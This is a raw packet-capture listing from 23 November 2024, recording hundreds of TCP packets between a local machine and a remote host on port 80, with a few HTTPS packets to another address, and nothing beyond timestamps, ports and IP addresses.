Nov 23, 2024 15:22:12.175796032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.180319071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.180388927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.180407047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.181878090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.185010910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.185924053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.187467098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.187531948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.187562943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.187607050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.231775045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.232655048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.232753038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.232753992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.232810974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.237438917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.237538099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.237593889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.242111921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.242275000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.242330074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.246804953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.246840954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.246892929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.251526117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.251595974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.251622915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.251667023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.256246090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.256309032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.256354094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.256402969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.260965109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.261024952 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.261085987 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.261132002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.265692949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.265741110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.265765905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.265801907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.270406008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.270446062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.270500898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.275101900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.275216103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.275274038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.279829979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.279875994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.279932976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.284523964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.284626007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.284677982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.289311886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.289366007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.289427042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.293979883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.294137955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.294214010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.298679113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.298768997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.298834085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.303432941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.303502083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.303555012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.308116913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.308216095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.308288097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.312858105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.312936068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.312954903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.312999964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.317573071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.317652941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.317698956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.322293997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.322362900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.322407961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.327003956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.327096939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.327148914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.331736088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.331803083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.331877947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.336453915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.336500883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.336525917 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.336558104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.341144085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.341197968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.341224909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.341240883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.345837116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.348177910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.348247051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.348299026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.348347902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.352881908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.352933884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.352962971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.353017092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.357620955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.357700109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.357754946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.362317085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.362418890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.362468004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.367042065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.367070913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.367127895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.371730089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.371803999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.371841908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.371886969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.374012947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.374109030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.374119997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.374222994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.376316071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.376379013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.376416922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.377758026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.378547907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.378596067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.378665924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.378719091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.380836010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.380911112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.380942106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.381031036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.383202076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.383270979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.383337975 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.385421991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.385473013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.385478973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.385521889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.387674093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.387722969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.387765884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.388107061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.390064001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.390250921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.390307903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.392282963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.392365932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.392435074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.394532919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.394551039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.394579887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.394613028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.396826982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.396873951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.396898031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.396965027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.399081945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.399173021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.399245024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.401395082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.401457071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.401479006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.401555061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.403625965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.403681993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.403712988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.403748989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.405977011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.406122923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.406191111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.408188105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.408283949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.408344984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.410460949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.410550117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.410598993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.412727118 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.412807941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.412862062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.414999008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.415049076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.415090084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.415136099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.417284966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.417340040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.417362928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.417407036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.419565916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.419612885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.419645071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.419688940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.421838999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.421886921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.421943903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.421993971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.424077988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.424196959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.424243927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.426367044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.426472902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.426523924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.428651094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.428735018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.428786039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.428845882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.430857897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.430963039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.431015968 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.433101892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.433182955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.433235884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.435303926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.435426950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.435480118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.435735941 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.435823917 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.437493086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.437567949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.437580109 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.437580109 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.437630892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.437659025 CET	49761	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.437668085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.437696934 CET	443	49761	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.439721107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.439817905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.439870119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.440135002 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.440164089 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.440236092 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.440367937 CET	49766	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:12.440382004 CET	443	49766	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:12.441929102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.441987038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.442003965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.442056894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.444056034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.444170952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.444175005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.444209099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.446228981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.446330070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.446394920 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.448402882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.448529005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.448610067 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.448944092 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.450579882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.450630903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.450675964 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.452688932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.452790022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.452846050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.454804897 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.454868078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.454890966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.454945087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.456943035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.456993103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.457014084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.457029104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.459085941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.459144115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.459181070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.459227085 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.461232901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.461308956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.461363077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.463330984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.463428020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.463488102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.465462923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.465522051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.465557098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.465635061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.467616081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.467680931 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.467683077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.467737913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.469815969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.469878912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.469938993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.471884012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.471952915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.472031116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.474001884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.474112988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.474184990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.476154089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.476216078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.476268053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.478245974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.478281021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.478329897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.480381966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.480473995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.480525017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.482491016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.482600927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.482659101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.484639883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.484698057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.484714031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.485779047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.486772060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.486825943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.486834049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.486876011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.488436937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.488487959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.488512039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.488579035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.490067005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.490164042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.490216970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.491796970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.491894960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.491957903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.493422985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.493475914 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.493592978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.493964911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.495037079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.495174885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.495229959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.496706009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.496752024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.496812105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.496870995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.498413086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.498481989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.498536110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.500055075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.500183105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.500236034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.501676083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.501764059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.501768112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.501813889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 15:22:12.503304005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 15:22:12.503365040 CET	80	49760	31.41.244.11	192.168.2.4
